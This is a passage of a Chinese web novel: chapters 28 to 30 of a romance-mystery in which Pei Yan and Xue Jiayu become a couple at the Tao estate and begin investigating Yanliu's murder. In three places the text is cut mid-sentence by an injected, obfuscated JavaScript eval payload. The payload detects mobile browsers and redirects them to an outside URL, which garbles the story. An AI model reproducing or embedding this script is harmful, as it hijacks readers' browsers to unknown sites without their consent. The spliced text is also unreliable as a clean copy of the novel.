话音刚落,众位宾客纷纷鼓掌,而薛嘉玉身为此宴唯一一位女子只得被迫鼓掌附和。 她想要向裴砚传递眼神,问问这到底是什么情况。 可裴砚的视线直勾勾地落在坐在对面的那位红衣男子身上,他暗暗捏紧茶杯。 陈昭,他怎么也来了金陵? 裴砚冲着金羽招了招手,金羽立刻凑过来,“大人可是要我去查查陈昭?” “嗯。” 说罢,他将杯里的酒一饮而尽,随即便把视线挪到不远处的薛嘉玉身上,却瞧见她正在调戏小厮,裴砚气得闭上眼睛,不再转头给自己找罪受。 薛嘉玉只知道吃吃喝喝,调戏小厮。 这酒有些醉人,她才喝了不过堪堪几杯,脸蛋上就染上一圈绯红,薛嘉玉诡使神差地将手心垫在小厮的后脑勺上,“阿褚,你真的长得好好看……” 说着她便缓缓地凑了过去,二人距离再度越拉越近,阿褚有些慌乱,他往后面退了一点,但薛嘉玉很快就追了上来。 阿褚把头偏了过去,“姑娘……这……不合礼数。” 可薛嘉玉却单手掐住他的脸蛋,硬生生把他的脸转了过来,就在她即将得逞之际,忽然,那坐在主位的陶维钧出声了。 她的好兴致突然被打断,薛嘉玉便一下子放开了阿褚,轻轻咳了两声,来掩盖自己刚才的失态,“抱歉,都怪你长得太好看了。” 阿褚面色羞红,不知道该接什么话,只一味地给她挑着鱼刺。 主位上的陶维钧端着酒杯站起来,面朝裴砚,“今日,裴少卿难得赏我这个面子,还望我这陶府能够伺候好大人,也希望大人能够在陶某这儿多住几日。” 28. 缠绵的吻 裴砚同样端着酒杯站起来,行了礼,客客气气道:“只可惜鄙人有要务在身,不敢多多叨扰陶老。” 陶维钧早就听闻裴砚是奉旨前来查案的,他自然不敢为难裴砚,“无碍无碍,待你有空了便来,陶府定会把你伺候得舒舒服服。” “多谢陶老。”说罢,他便一手扶着酒杯,一手垫着杯底,爽快地一饮而尽。 陶维钧也同样将酒饮完,接着便大手一挥,请了几位舞姬上来表演。 六位舞姬表演的是当下金陵时兴的拓枝舞,众人皆身着布料极少的西域舞裙,手腕上戴着的层层金手镯随着舞蹈动作而发出叮啷哐当的声音。 舞姬容貌姣好,身姿曼妙,眼神勾魂摄魄,迷得在场的人都眼珠子都不带转的,跳完舞后,各位舞姬就被在场的几位宾客叫到自己身边陪着了。 兴许是薛嘉玉方才酒喝多了,现在突然有些尿急,便两手撑着木桌,摇摇晃晃地从地上站起来,又因脚有些麻了,所以只能一瘸一拐地走路,瞧着十分狼狈。 阿褚追了上去,轻轻握住她的手臂,“姑娘,我扶你去吧。” 薛嘉玉将他的手拉开,“谢谢你,不过不用了。” 在一旁将这一切尽收眼底的裴砚暗暗握紧酒杯,敢怒不敢言,本想假装什么事情都没有看到,可这时金羽不要脸地凑上来,句句踩在他的雷点上,“大人,方才薛娘子都和那小厮亲上了,你要是不追出去,我都觉得大人你实在是太不行了。” 裴砚听后,一把将手里的酒杯扔在了金羽身上,随即起身迅速追了上去。 走廊上,灯笼随着微风轻轻摆动,旁边人来人往,薛嘉玉刚从茅房回来,就正好在此处碰见了步履匆匆的裴砚,她脑子短路问了一句:“大人,你也急着出恭吗?茅房就在前面左拐,然后再——” 她话还没有说完,手腕就被裴砚紧紧扣住,薛嘉玉抬眼,对上他那双阴鸷的眼神,她忽地有些发怵,“大人,你这是做甚?” 裴砚肚子里面憋了一团火,本想直接开口教训你,但说出来的却又是软软的一句叮嘱,“你和那个小厮注意一些。” “大人……你不也和那个柳红姑娘走得很近吗?” “我和她可没靠得如此之近,近到都快贴在一起了。” 说罢,裴砚甩甩袖子,拂袖而去,毕竟自己也算不上她的什么人,何来的立场说她。 可他方走了几步,就被薛嘉玉用蛮力抓了回来,她跌跌撞撞地一步一步靠近裴砚,然后两手紧紧揪住他的衣襟。 薛嘉玉抬起头来,一本正经地问他,“裴砚,我问你,你是不是喜欢我?” 这时,陶府灯火阑珊,周围来往者甚众,裴砚怕她的名声被辱,便一边推开她,一边说:“你喝醉了,休要乱说胡话。” 然而,薛嘉玉喝醉酒后,胆子大了不少,她不仅没有知难而退,反而得寸进尺,她两手环住裴砚的腰间,踮起脚尖,吻住了他的双唇。 这个吻缠绵而又轻柔。 裴砚第一次和女子接吻,没有什么技巧,也怕一不小心弄伤了她,只一点一点地侵占她的唇,他的双手并未放在她的腰上,而是轻轻抓住她的衣服。 薛嘉玉将手上力度缩紧,手心挪到了他的背上,肌肤感受着他衣服上的暗纹。 待到二人气息紊乱之时,薛嘉玉才往后退了一步,停下了这个吻。 裴砚有点看不清她的态度,他用手指摸了摸自己尚有余温残留的嘴唇,脸上有些委屈,“薛嘉玉,你刚亲了那个白头粉面的,现在又亲了我,你究竟把我当成了什么?” 说完这句话,裴砚忽然觉得自己这样有种勾栏的做派,好像自己是在讨一个名分似的。 “我没有亲到他,还差了一点呢。”说起这个,薛嘉玉还觉得有些可惜,不过她怕说多了,这到嘴的裴砚又飞了,她抱着裴砚,“裴砚,我心悦于你。我也再给你一次机会,你到底喜不喜欢我?” 裴砚低头在她的额头上飞速留下一个吻,“阿玉,其实我很早以前就心悦于你,在洛阳的时候就是了。” 只是甜蜜还没有持续太久,薛嘉玉就正了正脸色,“对了,大人,我刚才出恭的时候瞧见这院中有位小娘子与我昨夜在案卷上看见的一位娘子画像极其相似。” 可刚得了心爱之人的裴砚此刻并不想讨论案情,他双眸含笑,语气有些嗔怪,“你方才还叫我什么?” 薛嘉玉这才意识到自己好像应该改口才对,她立马改口,“文溪,这下可满意了吗?” 裴砚垂着头,一旁高高挂起的灯笼将光毫不吝啬地撒在了他的侧脸上,浓密卷翘的睫毛在下眼睑落下了一隅阴影,他抬起手摸了摸她空落落的耳垂,“其实我今天叫你去打扮,是想暗示你把我送你的耳铛戴上。上次在洛阳我让你把陈晟送你的耳铛摘下,是因为我心里面不爽快,不是因为觉得你身为侍女不配戴。” 听后,她气鼓鼓地用双手叉在腰间,“那你为什么当时不能直说?” “我以为你不喜欢我。” 好吧,这话她的确无从反驳。 因为薛嘉玉当时的的确确不喜欢他,还很烦他,觉得他婆婆妈妈的,什么都要管。 她拍了拍裴砚的胸口,生硬地岔开话题,“我刚刚跟你说的,你听见了没?” “听见了听见了,娘子说得能听不见吗?”裴砚不要脸地回答,随后又变得正经了些,“若真按照你说的这样的话,那我们就得在陶府多待些时日了。只是……这样一来,我恐怕就要与那柳红姑娘接触紧密一些,你莫要太在意,我不会和她假戏真做的。” 就算他不这么说,薛嘉玉也明白这个道理,柳红作为这里的女子,又是伺候裴砚的,自然是从这个身边的人入手是最好的。 只是看见心悦之人和别的小娘子在一块儿,她心里还是难免会有些不太舒服。 她佯装大度,“没关系,我不会介意的。毕竟我和阿褚都快亲上了,你不也没介意吗?” 裴砚咬牙切齿,用手轻柔地捏了下她的脸颊,“还敢提那个小厮?” “不提了不提了,小气鬼。”薛嘉玉抬手摸了摸刚才被他捏的脸颊。 裴砚单手揽着她的腰,“那我们回去好吗?” 她轻“嗯”一声。 回到宴席上后,二人皆是装作什么都没有发生过的样子,但这骗得了别人,骗不了金羽。 金羽为这二人操碎了心,他在心里浅浅叹了口气,小声提醒:“大人,你的嘴角有口脂。” 裴砚连忙掏出手帕擦了擦嘴角,“现在呢?” “没了。”金羽嬉皮笑脸地打趣儿,“郎君,看来你也终于抱得美人归了。” “再嘴贫试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096275|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试?信不信我立马把你打发到裴珩身边待着?” 可裴砚嘴上这么说着,嘴角却难以压下来。 金羽立马老实了,乖乖地退到后面,安安静静地站着。 薛嘉玉倒是显得冷静自然多了,依旧跟小厮靠得挺近,从他这儿了解到了不少事情,比如说这陶维钧早年其实是靠当凤凰男发家的,后来有了钱就找了好几十房小妾,发妻命薄,早早便撒手人寰。 再然后,这陶维钧就放下了手中的生意,来到这座山里隐居,不过听阿褚说,他整日都过得潇洒快活。 她单手撑着脸颊,“话说,阿褚,我瞧你长得挺好看,谈吐也不像是没读过书的,就没想过离开这陶府?出去随便找个工谋生,也不在这儿当一辈子小厮强啊。” 阿褚的脸上立刻闪过一丝慌乱,就像是一只受惊的小兔子,他连忙比了一个噤声的手势,“姑娘,这陶府是会吃人的!” “吃人?”薛嘉玉顿时起了鸡皮疙瘩,明明知道阿褚是在夸张描述,但她却忍不住要当真,她不敢深思,连忙止住了这个想法。 阿褚连连点头,不敢继续说话。 待宴席结束,众宾客在美人的簇拥下离开了这里,裴砚自然是不敢把柳红带回自己房间的,于是他把柳红推给了金羽,然后快步追上薛嘉玉。 “阿玉,你能不能离那个小厮远一点啊?” 薛嘉玉没理会他的问题,而是把自己从阿褚口中套来的情报全都转告给他,裴砚倒是知道陶维钧是凤凰男这件事情,只是当他听到“吃人”的时候,忍不住同女子失踪联系起来。 后花园里花团锦簇,有一个木质的秋千放在花丛之中,裴砚把她摁在秋千上面坐下,他则是站在后面默默推着,“阿玉,等这个案子结束,你陪我回一趟裴府好吗?是很正式的那种。” 她垂下眸子,眼睫毛轻柔地扫在下眼睑,薛嘉玉默了一会儿,才道:“这个……等日子久了再说吧。” 裴砚的手微微停顿了一下,旋即也意识到自己这样做好似是太快了一些,他轻轻扬起嘴角,“也是,你瞧我,太着急了。” “裴砚,你以后成婚了也会找小妾吗?哪怕是不娶进门的那种。” 只见他松开秋千,绕到薛嘉玉身边坐下,裴砚握住她放在大腿上的双手,“我之前不是都跟你说了吗,我们家有家规,只能娶妻不能纳妾,而且不能立休妻书,只能立和离书。” 薛嘉玉眉毛微挑,她自然地靠在裴砚肩膀上,疑惑道:“为何你们家会有这样的规矩?我在此之前还从未听说过。” “因为我祖母是泰平公主,我朝疆域能有如此广阔,祖母也是有一半功勋的。当时祖母瞧着祖父长得挺帅,人也不错,就想嫁给他,可是那时候裴府的门第比不得现在,先帝就不愿把祖母许给祖父。可是他们二人打定主意要在一起,祖父为了能让祖母安心嫁给他,就立下了这样的家规。” “原来如此。”薛嘉玉忽然想起一件事,她猛地坐直身子,“等等,既然只能和离,那为何兄嫂不直接和离?还要在一起折磨对方,真替嫂子感到不值。” 一提到那头死驴,裴砚心情就顿时不好了,他将手臂从后面绕到薛嘉玉身前,将掌心贴在她的侧脸上,硬生生把她的脑袋重新摁倒在自己肩膀上,“你一天天那么好奇裴珩做什么?你喜欢的人到底是谁啊?” 29. 迷香 薛嘉玉把下巴搁在他的肩膀上,凉风习习,她的鬓发随风而动,接着她将自己的双唇轻轻贴在裴砚的脖子上,而后很快便又收回来。 “当然是你,不然为什么我会亲你?” 裴砚将手心放在了她腰间挂着的那枚白虎玉佩上,“他们俩之间的事情只有他们俩自己知道,也许长嫂之后也会因受不了而和离。不过,现在我只想同你聊我们之间的事情。” 她两手抱臂,摸了摸自己的肩膀,薛嘉玉从秋千上站起来,“我有点冷,想回屋。” 裴砚没有说话,将自己身上的披风搭在她的身上,随后两个人并肩回到了陶维钧事先准备好的厢房里,薛嘉玉坐在椅子上,倒了一壶热茶,“金羽没问题吧?” “他一向都是坐怀不乱的,不必担忧。” 可这话刚一说完,厢房大门就砰的一声被撞开了,两个人刚挨在一起就不得不分开,裴砚连忙整理好身上的衣服,一脸幽怨地盯着来人 “金羽,你做事怎么毛毛躁躁的?” 薛嘉玉留意到了金羽衣冠不整,连忙问:“金羽,你这是怎么了?莫不是已经和那位柳红姑娘修成正果了?” 金羽气喘吁吁,用手将身上的衣衫整理好,小脸委屈巴巴的,“郎君,那厢房里有迷香!幸好我跑得快,不然我的清白可就没有了。” 裴砚想着他替自己躲过了一劫,也就没再怪罪他打扰了自己良宵美景的事情,“你说那房中有迷香?看来这陶府的确没有那么简单。” 薛嘉玉有些疲惫,就靠在榻上,双腿曲起,单手撑着脑袋,她有些想不明白为什么这陶府有问题,而这陶维钧又明明知道这裴砚是来查女子失踪案的,为什么要专门把他请过来呢? 莫非是想要在这里就把裴砚给解决了? 也是,这荒山野岭的,又是陶维钧一个人的地盘,要是当真把他杀了,短期内也不会有人发现。 可要是裴砚死了,那她还怎么查案? 裴砚看她有些走神,就探出一只手,在她的眼前晃了晃,“阿玉?在想什么?” 薛嘉玉摇摇脑袋,“没什么,我就是有些好奇陶维钧请你来这儿住下的目的是什么?” “假设陶维钧真有问题,那他让我来这里就是为了困住我,假设他没有问题,对这一切都不知情,那么他叫我来只是单纯为了让我沉溺美色的。” “我困了,我先上床睡了。” 这次不用裴砚亲自赶金羽走,金羽也十分知趣地到门口为二人把风。 裴砚毫不客气地坐在床榻上,“到底你是大人还是我是?这床不应该拿给我睡吗?” 薛嘉玉皱着眉头从床上蹭起来,穿上鞋子,慢悠悠地绕到裴砚身后,一边抬起脚,朝着裴砚的屁股踢了过去,一边愤愤不平道:“你睡!” 他堂堂一个大理寺少卿,居然被一位小娘子给踢倒在床榻上趴着,裴砚吃痛地双手撑着床榻爬起来,他立马就软了下来,“错了,阿玉,你睡床吧,我打地铺陪着你。” 裴砚麻溜地从床上下来,从柜子里面随便抱了两套被子出来,歪歪扭扭地将被子铺在地上,然后从床上抽出一个长方形的枕头,随后便大大咧咧地躺在地上,这一套动作行云流水,就像是经常打地铺的人一样。 薛嘉玉侧躺在松软温暖的床榻上,左臂曲起,手背拖着侧脸,右手则是自然垂落,轻轻地戳了戳裴砚的手臂。 “文溪,你怎么打地铺打得这么熟练?” 他拢紧被子,脑海里蓦地浮现出小时候的残碎记忆,“小的时候兄长总是惹祖母生气,然后被罚被教训,我呢一向都是个热心肠的人,便每次都会大晚上跑到他房里打地铺,陪着他聊天。” 薛嘉玉微微颔首,随即平静地躺在床上,过了一会儿才心安理得地说:“那就好了,我原本还怕你金尊玉贵的,睡地上肯定睡不习惯,还想着说要不你睡床,我睡地上。” 裴砚现在想一巴掌拍死自己,早知道他就不这么诚实了,现在倒好,直接错失了睡床的宝贵机会。 他翻了个身,面朝着床榻,本想再和薛嘉玉斗斗嘴,却发现她已经睡着了,裴砚忽然心下一软,抬起手臂,温柔地给她掖好被子。 半夜,薛嘉玉突然间被热醒了,睁开眼睛发现自己全身上下都被被子给缠住了,她现在满头大汗,就连头发丝都连带着被打湿了,她一脚踢开被子,翻了个身去看看裴砚的情况,他倒是睡得挺熟。 她的视线在裴砚身上逡巡了几个回合,最后定在了他腰间的大理寺腰牌。 她想,要是有了这大理寺腰牌,岂不就可以正大光明去大理寺查看陈年卷宗? 此事只能等回了长安再谈。 薛嘉玉翻过身去,扯了扯被子,继续闭上眼睛睡觉。 金陵虽然天气比较暖和,但是早晨还是比较凉快,偶尔还有阵阵冷风拂过,尤其是下了雨之后湿气甚重,倒也不比长安和洛阳暖和多少。 晨风悄悄从窗户溜了进来,睡在地上的裴砚忽地觉得有些冷飕飕的,就提起被子,包裹住自己的身体,踢了踢两条腿继续睡了。 可是还没多睡几分钟,门口就立刻喧哗起来,叽叽喳喳的,不知道还以为是一群麻雀在外面呢。 裴砚陡然皱起眉头,心里烦躁得很,两手捂住耳朵,翻了个身,想要强行忽略门口的骚乱。 然而下一秒,厢房再度被人敲得哐哐响,门外传来陶维钧急迫的声音:“裴少卿!大人!大人!不好了!我——我府里死人了!你快来主持公道,还陶府一个清白啊!” 听见有人死了,裴砚的两只眼睛猛地就睁开了,他瞬间精神抖擞,刚一起身发现薛嘉玉也醒了,薛嘉玉连忙问:“怎么了?” 他冷静道:“有人死了,你去换衣服吧,我先去应付一下。” 薛嘉玉跟着他这么久,早就习惯有人死了的小场面,她懒懒地打了个哈欠,“行。” 裴砚简单裹了一件披风在外面,推开门,发现外面人山人海,每个人面上的表情都各不相同,他系好带子,面无表情地盯着眼前忧心如焚的陶维钧,“怎么回事?” 陶维钧往旁边侧了侧,他的眼神飘忽不定,语气颤抖,“大人,今早府中的侍卫巡视的时候,在后院发现了这位小娘子的尸体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101460|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 闻言,他的视线越过陶维钧,投向了躺在地上的那个冷冰冰的尸体,她的身上甚至连一片白布都没有,当裴砚的视线挪到了死者脸上的时候,他忽地就愣住了,浑身上下的血液仿佛都已经凝固。 这时,薛嘉玉已换好衣裳出来,她正准备瞧瞧尸体,却被裴砚破天荒拦住,她甚是不解,“大人,你挡着我做甚?” 她不断踮起脚尖,好一探究竟,可是当看见死者的时候,薛嘉玉脑袋中紧绷的一根线忽然“啪”的一声断裂,她猛地将裴砚推开,提起裙摆,快步跑到尸体身边。 薛嘉玉慌乱间将身上的披风取下来,动作轻柔地盖在死者身上,她的手不自觉放在了死者僵硬的面部皮肤上,嘴唇开始止不住地发颤,“燕柳……” 陶维钧瞧见面前这一幕情况,顿时有些懵,他来回转了转身,“这……裴大人,你们与这小娘子认识?” “在洛阳匆匆见过几面罢了。” 裴砚冲上前,将她从地上扶了起来,凑到耳边悄声说:“阿玉,公事公办,勿要带有私人情感。” “我知道了。”薛嘉玉迅速平复好自己的内心,蹲在地上,由于这里没有工具,只能简单地查看一下尸体表面,“死者是割喉而死,身上没有殴打痕迹,也无毒发痕迹。根据身上的尸斑和僵硬程度来看,应该是昨夜子时死亡的。” 裴砚见这里的人越围越多,可死者身上衣冠不整,实在是不太体面,就让金羽速速把闲杂人等打发走了。 他说:“所以死因就是割喉而死。陶老,你可知昨夜死者同哪些人见过面吗?” 陶维钧两手交叠放在身前,他的眸中闪过一丝狡黠,“我只知道昨夜陈昭公子要求燕柳陪他,其他就什么都不知道了。哎,这燕柳脾气特别好,与府里的人都相处的很和睦,怎么就死得这么惨呢?” “我先进去换件衣裳,一会儿你便带我们去燕柳的住处吧。” 裴砚刚一转身,身后就传来一阵带着笑意的挑衅声。 那人迈着步子缓缓走来,盛气凌人,身上穿着黄色衣裳,腰间挂着三个玉佩,五个香囊,后面还跟着整整五个小厮,一瞧便知道此人定然是这金陵的哪位富家公子。 不知为何,薛嘉玉的脑子里忽然间浮现出了陈晟那个骚包。 “陶老,要我看,此等小事根本就没有必要劳烦裴少卿吧。不过是个卖笑的小娘子罢了,死了便就死了。” 听及此,薛嘉玉立马收回刚才那个内心想法,陈晟倒还没有这个人如此丧尽天良。 她本以为燕柳离开长乐坊后,可以带着孩子过上好日子,不用再看那些纨绔公子的眼神,没想到她竟然就这样不明不白死在了陶府,就连死后还要被人蔑视,无法安息。 实在是个可怜人。 虽然薛嘉玉也自诩是个可怜人,但也许是她不忍其他女子受苦,因而她不禁走到陈昭面前,扬起手掌心,狠狠扇了他一个大耳刮子。 “这位公子,什么叫做卖笑的小娘子死了便死了?不管燕柳生前是做什么的,但她至少是一个人,死后应当得以厚葬,而不是被人轻贱。” 30. 虎头帽 陈昭自小在家里就是众星捧月的地位,还从来没被一个美娇娘扇过耳光,他单手捂着发红的脸颊,对着身后的仆从们吩咐:“你们把她给我捆到我房里去。” “等等。”裴砚急速上前,将薛嘉玉护在身后,第一次如此理直气壮地说:“忘了给陈公子介绍,这位小娘子是本官的内人,她一向爱做锄强扶弱之事,陈公子就莫要与她计较。” 闻言,陈昭拍了拍宽袖,从鼻腔里哼了一声,“原来是裴大人的夫人啊,真是搞不懂你怎么就挑了这么一个没礼数的女子。” 薛嘉玉抬手抓住他的手臂,然后踏步上前,“陈公子,如今这燕柳姑娘死前和你见过,也就是说你目前是最有嫌疑的。想必陈公子也不想和命案牵扯,闹上了衙门就不好了,不妨好好配合我们。” “你想问什么便问吧。” 她张了张嘴,刚要询问,裴砚就忽地凑到她耳畔前,他压低声音,“我进去换件衣裳,你先问着,切记不要意气用事。” 薛嘉玉微微颔首,把他的话记在心里面去了,她绕着陈昭转了一圈,“陈公子,你昨夜都对燕柳姑娘做了什么?” 陈昭双手环保在胸前,他昂起头,像个斗鸡,顺道还把右脚伸到前面翘起,浑然一副吊儿郎当地模样,“还能做什么?无非就是男女之间那点儿事,薛夫人定然懂得吧。” 她蓦地顿了下来,“那你得逞了?” 说起这个,陈昭的脸色倏而沉了下来,“那娘子是个刚烈的,不肯从了我,就差了那么一点点,她挣脱后就跑出去了。” 听到这儿,薛嘉玉倒是也能松口气了,她站在陈昭面前,他与裴砚差不多高,不得不扬起脑袋看他,薛嘉玉打量了一下他身上的穿着,又开始疑惑起他方才的话。 “你……就没有追出去?” 陈昭嗤笑一声,两手一摊,好整以暇地盯着她,语气中含着不解,“我为何要追?这陶府又不是只有这一位貌美娘子,再者我陈昭还见过比她更貌美更听话的娘子。” 薛嘉玉并不好奇他的风流生活,也不想听,“所以你对燕柳死亡一事毫不知情?” “这是自然,还有要问的吗?没有的话,我就先回房吃早膳了。” 目前手中证据甚少,薛嘉玉除了问他昨日和燕柳发生了什么之外,也没有旁的事可以问了,便抬起手将他打发走了。 裴砚换好衣服回来,连早膳都来不及吃,就让陶维钧带着他们去了燕柳的厢房。 这间厢房十分狭小,四方窗户紧闭,阳光照不进来,看着让人觉得十分压抑,压抑到让人难以呼吸,薛嘉玉踏进门槛,屋内装潢都是深色的,暗调的。 厢房甚是干净,燕柳的东西也是少之又少。 可是薛嘉玉却在她的床头找到了针线和才绣了一半的虎头帽,她紧紧揪住这个虎头帽,将这玩意儿递给陶维钧看,“陶老,你看看此物。” 陶维钧凑近一看,发现这居然是个虎头帽,他也是子孙满堂的人,自然知道这虎头帽是拿给谁用的,他慌慌张张地摇头,仓皇间把视线投到裴砚身上,“大人,我不知道燕柳有身子了啊!我要是知道的话,就不会同意她去伺候陈昭了——” 裴砚右手一抬,打住了他的解释,而是问:“燕柳是什么时候来陶府的?她为何要来陶府?” “她是半月前来的,当时她孤苦伶仃的,身上也没多少盘缠,瞧我这儿月俸不错,还有可以住的地方,就欣然来了。” 薛嘉玉把玩着手里的虎头帽,随后将其揣在了袖中,“那当时燕柳知道自己是在做这种事情的吗?” 一听这话,陶维钧瞬间就激动起来,他“诶”了一声,伸出一根手指在空气中点了点,“夫人,话可不是这么说的啊,什么叫做‘做这种事情’?这玩意儿都是你情我愿的,而且最重要的是我这陶府可不是青楼。” 裴砚厉声驳斥:“不是青楼?那你在厢房里点上迷香算什么?” 陶维钧立刻弓起腰,脸上带着谄媚的笑容,他哈哈干笑两声,“这……在今日之前我并不知道裴大人已然成婚了啊,昨晚没酿成什么大祸吧?” “还好无碍。” 除了虎头帽之外,薛嘉玉也没再搜到什么有用的东西了,她现在完全没有思路,现有线索实在太少太干净了,若是没有别的人证的话,此案很难推进下去。 想到这儿,她的思绪忽然间被门外一阵熟悉的声音给打断了。 “姑娘!” 薛嘉玉蓦然回首,站在门口的是昨夜那位白头粉面的阿褚,他身上还穿着一贯的小厮服饰。 她快步走到阿褚身边,“阿褚,怎么了?” 阿褚低着头,慢悠悠掀起眼皮,迅速瞥了一眼站在陶维钧身边的裴砚,他眸色澄澈,语气中不乏害怕,“姑娘,昨……昨夜……昨夜我瞧见陶老亲自把燕姑娘送到陈公子房中,然后燕姑娘抵死不从,陈公子一怒之下失手将她杀死了!” 在场的三个人听见这句话,都异口同声道:“什么?” 陶维钧大步流星走到阿褚面前,单手狠狠揪住他的衣领,恶狠狠地问:“你说什么?我告诉你,你最好是想清楚了再说话!” 阿褚惊慌失措地将视线投到坐怀不乱的裴砚身上,“裴大人,我刚才所言绝无半点虚言!你一定要相信我啊!” 裴砚上前扣住陶维钧的手腕,将他的手从阿褚的衣领上扯了下来,“你把自己看到的听到的都告诉我,不必担心。” “昨夜我去茅房的时候,亲眼看见陶老将燕姑娘送到了陈公子的厢房,我有些好奇就跟上去瞧瞧,结果就听见屋内陈公子似乎是在调戏燕姑娘,可燕姑娘宁死不从,陈公子好像就生气了,紧接着里面就传来砰砰砰的撞击声,之后就没有声了,也没有看见燕姑娘再出来。” 陶维钧气得胡子都要飞起来了,“你个狗奴才,你觉得单凭你这句话就足以给我和陈昭定罪吗?我平日里哪儿得罪你了?居然敢咬我!” 阿褚被他吓得立刻腿软跪在地上,他两手撑在地上,哆哆嗦嗦地说:“裴大人,我真的没有骗你!” 确实就如陶维钧所说得那样,这毕竟只是阿褚的一面之词,自然不能随意当真,况且他昨夜也没有亲眼瞧见陈昭或是他的手下将燕柳的尸体运出来,裴砚自是不会轻易相信,他摆摆手,让他们两个人都一块儿退下了。 薛嘉玉凑过来,单手摩挲着下巴,“大人,你有什么头绪了吗?” “你不觉得那个叫阿褚的小厮很奇怪吗?” 她昨晚在宴会上问起他的身世的时候也觉得有些奇怪,但也挺有理的,就没过多在意。 可方才一瞧,她留意到阿褚说话时所用之词大多都并非是敬语,这倒的确不是一个下人应该犯的错误。 “是有些奇怪,他昨夜同我说他自小就没了父母,被陶维钧收养。按理说陶维钧于他而言是有养育之恩的,为何他今日却主动咬上陶维钧和陈昭,难道就不怕自己小命不保?” 只见裴砚若有所思地摇了摇头,“不,我不是说这个。今天之前我没有与这个叫阿褚的见过面,他怎会知晓我姓裴呢?” 金羽轻笑一声,“昨夜宴会上,陶老不是向您敬过酒吗?想必就是那会儿瞧见的。” 可下一秒就听见薛嘉玉冷不丁地说了句:“可是当时阿褚是背对着裴砚的,根本不可能瞧见他的相貌。” 忽然间,鸡皮疙瘩爬满了金羽全身上下的每一个角落,他眼珠子骨碌一转,“那就是声音!” 裴砚闭上眼睛,深呼吸一口,“可当时他进来的时候,我可没有说话。是薛嘉玉屁颠屁颠地跑过去的。” 薛嘉玉板着脸,用手肘撞了撞他的侧腰,她咬着牙说:“后面那半句话就没必要说出来吧。” 这事就是粗思也恐,金羽忍不住往后退了几步,紧紧靠在裴砚身边,“大人,这……有点恐怖了吧?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109872|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她把话头绕回主题上,“是啊,这么一想,的确有点奇怪。阿褚脱口而出一句‘裴大人’,且他不习惯用敬语。我怎么觉得这个阿褚好像知道很多关于陶府的事情呢?” 薛嘉玉接着把昨夜和阿褚的谈话内容完整无缺地转述给了裴砚,就连一个标点符号都不带错的。 说正事儿前,裴砚还不忘再调侃一句,“我还以为你昨夜只是简单地沉溺美色了呢。” 她双手叉腰,冷冷地唤了一声他的名字,“裴砚。” 裴砚立刻正经起来,不敢再提昨夜的事情,他用手捂着嘴巴轻咳两声,“想来他的‘吃人’未必是一种夸大说辞,阿褚应该是知道不少陶府秘辛,这个人也得要好好查一查。” 听到要好好查查阿褚,薛嘉玉便立刻凑上来,伸出手比了一个“1”,她激动地提议:“我有一个好主——” 可话还没有说出来,就被裴砚给打断了,他单挑眉稍,暗暗威胁:“你想要使美人计?可以啊,你要想用就用呗,我哪儿敢阻拦你?只是你要是出了什么事的话,我可不会护着你。” 见自己的小心思被戳破,还被他要挟,薛嘉玉立马把嘴里的话全都噎下去了,“知道了。” 裴砚吩咐金羽去从阿褚的嘴巴里撬出点什么有用的消息来。 “大人,还有一件事。” 他回头看向薛嘉玉,等着她接下来的话。 “害死燕柳的那把刀,虽然这倒很有可能被凶手扔到山下面去了,但还是得要找一找。” 此事不用她提,裴砚心中也是知道的,他冲着薛嘉玉招了招手,她立刻凑到他的身边。 裴砚抬手摸了摸她的发顶,“你放心,我都会安排好的。你就只需要负责验尸就可以了。” 听及此,薛嘉玉以为他是不想让自己插手查案的事情,立刻就慌乱起来,她快步绕到裴砚身前,两手展开,拦住了裴砚去路,“大人,我除了验尸,也是会破案的,阿褚那边就交给我了。” 说罢,她便像离弦的箭一般跑开了。 “诶!”裴砚望着她的匆匆背影,搞不懂她为何突然冒出这一句来,旋即又转头吩咐金羽,“你这几日跟着她,勿要让她出事。” “薛娘子那么机灵的怎么可能会出事?郎君,你就是担心薛娘子和阿褚又亲上吧?” 裴砚两手背在身后,提起脚,作势又要踢他,“金羽,你若再敢多言半个字,明日你就会在裴珩身边了。” 薛嘉玉一路小跑,跑到一半才发现自己这是要跑去哪儿?她又不知道阿褚住在哪里。 她将步子缓了下来,此地虽然偏僻,但胜在风景优美,薛嘉玉按照脑子里记住的路来到正厅,果不其然,这陶维钧就坐在主位上,左右两边各有一侍女跪在地上给他捶腿,他揉着眉心,瞧着十分忧愁。 “陶老。” 听见有人叫他,陶维钧掀起眼皮,见来者是她,立马扬手将这两位侍女打发了下去,他的脸上堆着假笑,“夫人,来找我所为何事啊?” “陶老,您可知阿褚的住所?裴大人吩咐我去问问他昨夜的事情。” 